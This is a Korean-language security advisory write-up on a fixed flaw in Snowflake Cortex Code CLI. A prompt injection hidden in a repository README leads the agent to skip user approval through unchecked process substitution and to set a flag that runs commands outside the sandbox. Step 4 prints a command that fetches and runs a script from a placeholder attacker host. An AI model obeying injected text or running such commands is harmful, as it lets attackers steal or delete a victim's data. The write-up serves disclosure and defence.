Snowflake Cortex AI, 샌드박스를 탈출하다: 악성코드 실행 취약점 분석
개요
Snowflake Cortex Code CLI의 명령어 검증 시스템에서 발견된 취약점이 있었습니다. 이 취약점을 이용하면 간접 프롬프트 인젝션을 통해 악의적인 명령어가 사용자 승인 없이 실행되고, 나아가 샌드박스 밖에서까지 실행될 수 있었거든요. 공격자는 이를 악용해 피해자의 Snowflake 계정 자격증명을 이용해 데이터 탈취나 테이블 삭제 같은 악의적 행동을 할 수 있었습니다.
다행히 Snowflake 보안팀이 신속하게 대응했고, 2026년 2월 28일 Cortex Code CLI 1.0.25 버전으로 수정사항을 배포했습니다. Snowflake 커뮤니티 사이트에서 전체 보안 공지를 확인할 수 있습니다.
공격 과정 분석
1단계: 사용자가 Cortex를 열고 샌드박스를 활성화
사용자가 CLI를 시작할 때 샌드박스 모드 중 하나를 선택합니다. 흥미로운 점은 어느 샌드박스 모드를 사용하든 이 공격이 적용된다는 것입니다.
참고로 이 공격은 샌드박스를 사용하지 않는 경우에도 영향을 미쳤습니다. 문서상으로는 OS+Regular 모드에서 모든 명령어가 사용자 승인을 요청하도록 되어 있으며, 샌드박스 내 명령어는 네트워크와 파일 접근 제한이 있어야 합니다.
2단계: 사용자가 제3자 오픈소스 코드베이스 분석을 요청
여기서 프롬프트 인젝션이 등장합니다. 온라인에서 찾은 신뢰할 수 없는 저장소의 README 파일에 악의적인 프롬프트가 숨어있을 수 있거든요. 실제로는 웹 검색 결과, 데이터베이스 기록, 터미널 명령어 출력, MCP 응답 등 어떤 신뢰할 수 없는 데이터에서도 인젝션이 삽입될 수 있습니다.
한 가지 주목할 점은 Cortex가 코드 에디터에서 처음 도입되고 이제 대부분의 에이전트 CLI가 채택한 '워크스페이스 신뢰(workspace trust)' 보안 관례를 지원하지 않았다는 것입니다. 이 기능은 사용자에게 새롭고 신뢰할 수 없을 수 있는 디렉토리에서 에이전트를 사용할 위험성을 경고해줍니다.
3단계: Cortex가 저장소를 탐색하면서 프롬프트 인젝션 만남
Cortex가 호출한 서브에이전트가 저장소를 탐색하다가 README 파일을 발견합니다. 그리고 파일 끝부분에 숨겨진 프롬프트 인젝션이 있어서 Cortex를 속일 수 있었던 거죠.
4단계: 사용자 승인 단계가 우회됨
여기가 핵심입니다. Cortex는 프로세스 치환(process substitution) 표현식 내의 명령어를 검증하지 못했습니다. 그 결과 다음 악의적 명령어가 사용자 승인 없이 실행될 수 있었습니다:
cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))
이 명령어는 공격자 서버에서 스크립트를 다운로드해서 실행합니다. 어떻게 우회가 가능했을까요?
명령어 검증 시스템의 작동 원리:
Cortex의 명령어 검증 시스템은 모델이 요청한 전체 명령어를 개별 명령어(cat, echo, sh, wget 등)로 분해합니다. 이 개별 명령어들을 Cortex에 내장된 '안전한 명령어' 목록과 비교하는 방식이었습니다. 모든 구성 요소가 '안전'하면 승인 없이 실행되고, 그렇지 않으면 사용자에게 동의를 구합니다.
취약점의 원인:
프로세스 치환 표현식 내의 명령어는 이 검증 시스템으로 평가되지 않았습니다. 따라서 사용자 승인을 트리거하지 않았거든요. 여기에 검증 시스템에서 '안전'하다고 판단되는 명령어(cat 같은)가 맨 앞에 오면, 결과적으로 임의의 명령어가 사용자 승인 없이 실행될 수 있었던 겁니다.
5단계: 샌드박스까지 우회됨
Cortex는 기본적으로 샌드박스 외부에서의 명령어 실행을 허용하는 플래그를 설정할 수 있습니다. 프롬프트 인젝션이 모델을 조종해서 이 플래그를 설정하게 만들 수 있었거든요. 아래 로그에서 이 플래그를 확인할 수 있습니다:
이 플래그는 원래 네트워크 접근이 필요하거나 샌드박스 외부 파일 접근이 필요한 정당한 명령어를 사용자가 수동으로 승인할 수 있도록 설계되었습니다.
4단계의 사용자 승인 우회가 발생하면, 에이전트가 샌드박스 외부 실행 플래그를 설정해도 명령어가 즉시 샌드박스 외부에서 실행되고, 사용자는 동의를 구받지 않습니다.
참고로 사용자가 명시적으로 이 기능을 비활성화할 수 있는 설정이 있었는데, 이를 통해 우회를 방지할 수 있었습니다.
6단계: 악성코드가 다운로드되어 샌드박스 외부에서 실행됨
Cortex의 서브에이전트가 악의적 명령어를 호출하고 샌드박스 외부 실행 플래그를 설정합니다. 그러면 명령어가 공격자 서버에서 셸 스크립트를 다운로드해서 실행하게 되는 것이죠. 이 시점에서 공격자가 피해자의 Snowflake 자격증명을 사용해 원하는 악의적 행동을 모두 할 수 있게 됩니다.